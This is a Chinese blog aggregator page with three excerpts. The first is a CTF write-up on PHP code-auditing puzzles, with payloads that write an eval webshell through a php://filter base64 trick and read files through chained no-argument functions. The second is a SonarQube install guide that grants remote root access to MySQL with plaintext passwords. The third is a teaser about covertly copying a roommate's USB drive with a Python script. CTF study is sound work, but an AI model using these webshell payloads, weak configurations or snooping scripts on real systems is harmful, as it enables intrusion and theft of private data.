首页 文章 精选 留言 我的

精选列表

搜索[代码生成],共10000篇文章
优秀的个人博客,低调大师

p神 代码审计知识星球二周年wp[2]

参考文献:https://m3lon.github.io/2018/05/29/RCTF-r-cursive-wp/http://f1sh.site/2018/11/25/code-breaking-puzzles%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95/ 递归匹配:http://www.laruence.com/2011/09/30/2179.html easy - phpmagic 源码 <?php if(isset($_GET['read-source'])) { exit(show_source(__FILE__)); } define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR'])); if(!is_dir(DATA_DIR)) { mkdir(DATA_DIR, 0755, true); } chdir(DATA_DIR); $domain = isset($_POST['domain']) ? $_POST['domain'] : ''; $log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d'); ?> <!doctype html> <html lang="en"> <head> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <!-- Bootstrap CSS --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous"> <title>Domain Detail</title> <style> pre { width: 100%; background-color: #f6f8fa; border-radius: 3px; font-size: 85%; line-height: 1.45; overflow: auto; padding: 16px; border: 1px solid #ced4da; } </style> </head> <body> <div class="container"> <div class="row"> <div class="col"> <form method="post"> <div class="input-group mt-3"> <div class="input-group-prepend"> <span class="input-group-text" id="basic-addon1">dig -t A -q</span> </div> <input type="text" name="domain" class="form-control" placeholder="Your domain"> <div class="input-group-append"> <button class="btn btn-outline-secondary" type="submit">执行</button> </div> </div> </form> </div> </div> <div class="row"> <div class="col"> <pre class="mt-3"><?php if(!empty($_POST) && $domain): $command = sprintf("dig -t A -q %s", escapeshellarg($domain)); $output = shell_exec($command); $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES); $log_name = $_SERVER['SERVER_NAME'] . $log_name; if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) { file_put_contents($log_name, $output); } echo $output; endif; ?></pre> </div> </div> </div> </body> </html> 解题思路 能控制文件名和文件内容,但是文件内容被htmlspecialchars函数过滤了一次,尖括号没了。PHP的一个特点:只要是传filename的地方,基本都可以传协议流。而file_put_contents的第一个参数就是传filename的地方一个简单的栗子 利用php伪协议流解码base64写入webshell 其他问题 后缀名将能解析php文件的全禁止了 $log_name之前会加上$_SERVER['SERVER_NAME'],不完全可控文件名 文件内容也不完全可控 解决方法 一个可以在windows和linux上都行得通的方法: filename=1.php/.&content=<?php phpinfo();?> 在操作系统中,都是禁止使用/作为文件名的,但是后面加一个.就可以成功的写入1.php了。pathinfo就取不到后缀名,可以正常写入.php之中。且无论是在windows上还是linux上,每次都只可以创建新文件,不能覆盖老文件 $_SERVER['SERVER_NAME']取的是HTTP headers中的Host的值。md5($_SERVER['REMOTE_ADDR'])是自己本机外网ip的md5值 最终payload domain=PD9waHAgZXZhbCgkX1BPU1RbMTJdKTs/Pg&log=://filter/write=convert.base64-decode/resource=6.php/. 在p神的环境上可以直接成功。但是在本机上测试的时候,写入的文件一直是乱码,后来经大佬提醒才知道还需填充字符串。(左边是p神的环境,右边是自己的) 在自己本机上的payload domain=aaaPD9waHAgZXZhbCgkX1BPU1RbMTJdKTs/Pg&log=://filter/write=convert.base64-decode/resource=8.php/. easy - phplimit 源码 <?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else { show_source(__FILE__); } 解题思路 \W:任意个非单词字符。匹配非字母、数字、下划线。等价于 `[^A-Za-z0-9_]` ?: 匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。要匹配 ? 字符,请使用 \? \((?R)?\):(?R)*表示, 正则式本身, 可以认为是:`(正则本身(正则本身).....)`。 那么此题最终的正则匹配就是可以递归执行函数,不可以带参数。php函数 getcwd ():取得当前工作目录 dirname():给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。 chdir():改变当前的目录。 scandir(directory):返回一个 array,包含有 `directory` 中的文件和目录 readdir ():返回目录中下一个文件的文件名。文件名以在文件系统中的排序返回 array_reverse() :接受数组 array 作为输入并返回一个单元为相反顺序的新数组 next():它返回的是下一个数组单元的值并将数组指针向前移动了一位。 get_defined_vars ():返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。 reset():将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。 不带参数的一些函数组合 ?code=print(phpinfo()); ?code=print(readdir(opendir(getcwd()))); #列目录 ?code=print(readfile(readdir(opendir(getcwd())))); #读文件 ?code=print(dirname(dirname(getcwd()))); #print出/var ?code=eval(implode(getallheaders())); #apache模块的函数 ?code=eval(implode(get_defined_vars())); 最终payload ?code=readfile(implode(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); #查看当前文件夹 ?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); 或者 ?1=readfile("../flag_phpbyp4ss");//&code=eval(implode(reset(get_defined_vars())))

优秀的个人博客,低调大师

持续集成篇-- SonarQube代码质量管理平台的安装

视频教程:http://www.roncoo.com/course/view/85d6008fe77c4199b0cdd2885eaeee53 IP:192.168.4.221 环境:CentOS 6.6、JDK7、MySQL5.1 、SonarQube-4.5.4(LTS) root用户操作 准备工作:已安装JDK7并配置好了环境变量 1 、安装MySQL5.1 (可参考前面SVN管理平台的MySQL安装步骤,如果已安装则无需安装) # rpm -qa | grep mysql ## 查看该操作系统上是否已经安装了mysql数据库, 有的话,可以通过 rpm -e 命令 或者 rpm -e --nodeps 命令来卸载掉 # yum install mysql-server mysql mysql-devel # service mysqld start # chkconfig --list | grep mysqld mysqld 0:off 1:off 2:off 3:off 4:off 5:off 6:off 用上面的命令查看到MySQL并没有设置开机启动,所以需要设置开机启动 # chkconfig mysqld on 为了方便远程管理,防火墙中打开3306端口 # vi /etc/sysconfig/iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 3306 -j ACCEPT 重启防火墙,使端口配置生效 # service iptables restart 设置MySQL数据库root用户的密码: # mysqladmin -u root password 'wusc.123' 登录数据库: # mysql -u root -p MySQL授权远程访问(先用root登录mysql) mysql> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'wusc.321' WITH GRANT OPTION; mysql> FLUSH PRIVILEGES; 2、配置MySQL 结合SonarQube,MySQL数据库最好使用InnoDB引擎,可提高性能。 看你的mysql现在已提供什么存储引擎:mysql> show engines; 看你的mysql当前默认的存储引擎: mysql> show variables like '%storage_engine%'; 修改MySQL存储引擎为InnoDB, 在配置文件/etc/my.cnf中的 [mysqld] 下面加入default-storage-engine=INNODB # vi /etc/my.cnf [mysqld] default-storage-engine=INNODB 重启mysql服务器 # service mysqld restart 再次登录MySQL查看默认引擎设置是否生效 mysql> show variables like '%storage_engine%'; +----------------+--------+ | Variable_name | Value | +----------------+--------+ | storage_engine | InnoDB | +----------------+--------+ innodb_buffer_pool_size参数值设置得尽可能大一点 这个参数主要作用是缓存innodb表的索引,数据,插入数据时的缓冲 默认值:128M,专用mysql服务器设置的大小:操作系统内存的70%-80%最佳。 设置方法:my.cnf文件[mysqld] 下面加入innodb_buffer_pool_size参数 # vi /etc/my.cnf [mysqld] innodb_buffer_pool_size = 256M (我们这里设置为256M,因为我们的不是专用的MySQL数据库服务器,还有很多其他的服务需要占用系统内存) 设置MySQL的查询缓存query_cache_size,最少设置15M # vi /etc/my.cnf [mysqld] query_cache_type=1 query_cache_size=32M 重启mysql服务器 # service mysqld restart 验证缓存设置是否生效: mysql> show variables like '%query_cache%'; +------------------------------+----------+ | Variable_name | Value | +------------------------------+----------+ | have_query_cache | YES | | query_cache_limit | 1048576 | | query_cache_min_res_unit | 4096 | | query_cache_size | 33554432 | | query_cache_type | ON | | query_cache_wlock_invalidate | OFF | +------------------------------+----------+ 3、创建sonarqube数据库(UTF-8编码) 二、安装SonarQube的Web Server 下载最新LTS版的SonarQube安装包(当前版本为sonarqube-4.5.4.zip): 下载地址:http://www.sonarqube.org/downloads/ http://dist.sonar.codehaus.org/sonarqube-4.5.4.zip 下载: # wget http://dist.sonar.codehaus.org/sonarqube-4.5.4.zip 解压安装: # unzip sonarqube-4.5.4.zip # mv sonarqube-4.5.4 sonarqube 编辑sonar配置: # cd sonarqube/conf/ # vi sonar.properties sonar.jdbc.username=root sonar.jdbc.password=wusc.123 #----- MySQL 5.x sonar.jdbc.url=jdbc:mysql://localhost:3306/sonarqube?useUnicode=true&characterEncoding=utf8&rewriteBatchedStatements=true&useConfigs=maxPerformance sonar.web.host=0.0.0.0 sonar.web.context=/sonarqube sonar.web.port=9090 保存以上配置(注意,要看看默认的9000端口是否已被占用) 防火墙中打开9090端口: # vi /etc/sysconfig/iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport 9090 -j ACCEPT 重启防火墙,使端口配置生效 # service iptables restart 启动 SonarQube Web Server # /root/sonarqube/bin/linux-x86-64/sonar.sh start (初次启动会自动建表和做相应的初始化) 浏览器中输入:http://192.168.4.221:9090/sonarqube/ 登录,默认用户名/密码为 admin/admin 到此,SonarQube已安装完毕,接下来是对SonarQube做相应的配置和使用 关注公众号:

优秀的个人博客,低调大师

利用11行Python代码,盗取了室友的U盘内容

序言 那个猥琐的家伙整天把个U盘藏着当宝,到睡觉了就拿出来插到电脑上。 我决定想个办法看他U盘里都藏了什么,直接去抢U盘是不可能的,骗也是不可能的。那不是丢我Python程序员的脸? 我必须在电脑上智取,而且不能被他发现。 这个是我的思路: 当一个usb插入时,在后台自动把usb里的东西拷贝到本地或上传到某个服务器。 那么我就可以先借他电脑玩一会,然后把我写好的Python程序在电脑后台运行。每当有usb插入的时候,就自动拷贝文件。 如何判断U盘是否插入? 首先打开电脑终端,进入/Volumes目录,然后插入U盘,能够看到它被挂载在了这个目录之下,那么,如果我们随时扫描这个目录,当这个目录有新文件夹出现时,应该就是有U盘被插入了。 用time.sleep(3)函数,让程序保持运行状态,并且每隔3秒扫描一下/Volumes/目录,一出现新的文件夹,立马拷贝到另外的文件夹。 能够看到U盘在插入大约30s后全部复制到home目录下了。 我只能说到这里了。。。 原文发布时间为:2018-10-22 本文作者:全栈开发者社区 本文来自云栖社区合作伙伴“全栈开发者社区”,了解相关信息可以关注“全栈开发者社区”。

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册